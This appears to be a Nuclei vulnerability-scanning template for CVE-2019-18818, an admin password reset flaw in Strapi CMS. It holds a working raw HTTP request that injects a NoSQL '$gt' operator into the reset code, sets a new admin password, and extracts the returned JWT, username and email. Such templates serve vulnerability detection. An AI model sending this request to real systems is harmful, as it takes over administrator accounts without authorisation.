id: CVE-2019-18818 info: name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset author: idealphase severity: critical description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js. reference: - https://github.com/advisories/GHSA-6xc2-mj39-q599 - https://www.exploit-db.com/exploits/50239 - https://nvd.nist.gov/vuln/detail/CVE-2019-18818 - https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5 - https://github.com/strapi/strapi/pull/4443 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-18818 cwe-id: CWE-640 epss-score: 0.88411 cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:* epss-percentile: 0.98263 metadata: max-request: 1 vendor: strapi product: strapi tags: cve2019,strapi,auth-bypass,intrusive,edb,cve http: - raw: - | POST /admin/auth/reset-password HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/json {"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"} matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: word part: body words: - '"username":' - '"email":' - '"jwt":' condition: and - type: status status: - 200 extractors: - type: json json: - .user.username - .user.email